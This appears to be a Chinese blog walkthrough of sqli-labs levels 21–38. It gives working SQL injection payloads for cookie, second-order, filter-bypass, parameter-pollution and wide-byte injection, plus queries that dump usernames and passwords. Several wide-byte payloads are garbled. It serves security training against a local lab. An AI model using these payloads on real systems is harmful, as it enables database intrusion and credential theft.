SQL注入篇——less21-38最详细教程附带隐藏关卡

本文深入解析SQL注入的各种类型和技术细节,包括基本语句、高级注入技巧及如何绕过常见防御措施,是渗透测试和安全防护的重要参考资料。

sql注入基本语句:

order by 4 ­­ ­
判断有多少列

union select 1,2,3 ­­ ­
判断数据显示点

union select 1,user(),database()­­ 
­显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 
查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 
查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息

Page-2(Advanced Injections)高级注入 less21-38

less-21——基于’)字符型的Cookie注入

一、首先正常登陆进入以下页面
在这里插入图片描述
二、使用Burp Suite抓包当前页面。
在这里插入图片描述
三、转入Repeater模块将选中部分Ctrl+B进行Base64编码
注入语句:

') union select 1,2,3# 
编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=

在这里插入图片描述
四、能够正常显示,接下来相信你知道该怎么做了
在这里插入图片描述

less-22——基于"字符型的Cookie注入

注入语句:

uname=" union select 1,2,3# ;

操作步骤同上
在这里插入图片描述

less-23——过滤注释的GET型注入

注入语句:

id=-1' union select 1,2,3 ='1

在这里插入图片描述

less-24——二次注入

假设知道有admin用户但是不知道密码
在这里插入图片描述
首先点击New User click here? 注册admin’ – -用户
在这里插入图片描述
然后登录该用户修改密码
在这里插入图片描述
在这里插入图片描述
然后再使用admin输入刚才admin’ – -修改的密码
在这里插入图片描述
登录成功,此时两个账号的密码一样

less-25——过滤了or和and的单引号注入

注入语句:

id=-1' union select 1,2,3-- 

在这里插入图片描述

less-25a——过滤了or和and的数值型注入

注入语句:

id=-1 union select 1,2,3-- 

在这里插入图片描述

less-26——基于单引号字符型过滤了注释和空格的注入

注入语句:

id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1

在这里插入图片描述

less-26a——基于’)字符型过滤了注释和空格的盲注

这里不会报错,只是多加了一个括号。

less-27——基于’字符型过滤了union、select与注释和空格的注入

注入语句:

id=1'and(updatexml(1,'~aaaa',1))and'1'='1

在这里插入图片描述

less-27a——基于"字符型过滤了union和select 的盲注

单引号换成双引号,方法同上。

less-28——基于’)字符型过滤了union和select等的注入

注入语句:

网址栏url后
http://localhost/sqli-labs-master/Less-28/?id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273
url
转码前
id=111') UnIon All Select ('1'),2,('3

在这里插入图片描述

less-28a——基于’)字符型过滤了union、select和空格的盲注

注入语句:

网址栏url后
http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20-
url转码前
id=-1') UnIon All Select 1,2,3 -- -

在这里插入图片描述

less-29 index.php——基于单引号字符型的注入

注入语句:

id=-1' union select 1,2,3 -- -

在这里插入图片描述

less-29 隐藏关login.php——基于单引号的参数污染绕过

注入语句:

id=1&id=-1' union select 1,2,3 -- -

在这里插入图片描述

less-30 index.php——基于双引号字符型的注入

注入语句:

id=-1" union select 1,2,3 -- -

在这里插入图片描述

less-30 隐藏关login.php——基于双引号的参数污染绕过

注入语句:

id=1&id=-1" union select 1,2,3 -- -

在这里插入图片描述

less-31——基于")字符型的注入

注入语句:

id=-1") union select 1,2,3 -- -

在这里插入图片描述

less-31 隐藏关login.php——基于")的参数污染绕过

注入语句:

id=1&id=-1") union select 1,2,3 -- -

在这里插入图片描述

less-32——宽字节注入

注入语句:

id=-1%df' union select 1,2,3 -- -

在这里插入图片描述

less-33——get方式宽字节注入

在网址栏输入注入语句:

id=-1%df%27%20union%20select%201,2,3%20--%20-

在这里插入图片描述

less-34——post方式宽字节注入

注入语句:

Dumb�' union select 1,2,3 -- 

在这里插入图片描述

less-35——数值型注入

注入语句:

id=-1 union select 1,2,3

在这里插入图片描述

less-36——宽字节注入

注入语句:

id=-1�' union select 1,2,3 -- -

在这里插入图片描述

less-37——宽字节post注入

注入语句:

Dumb�' union select 1,2 -- 

在这里插入图片描述

less-38——宽字节post注入

注入语句:

id=-1�' union select 1,2,3 -- -
id=-1�' union select 1,2,3 -- -

在这里插入图片描述

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值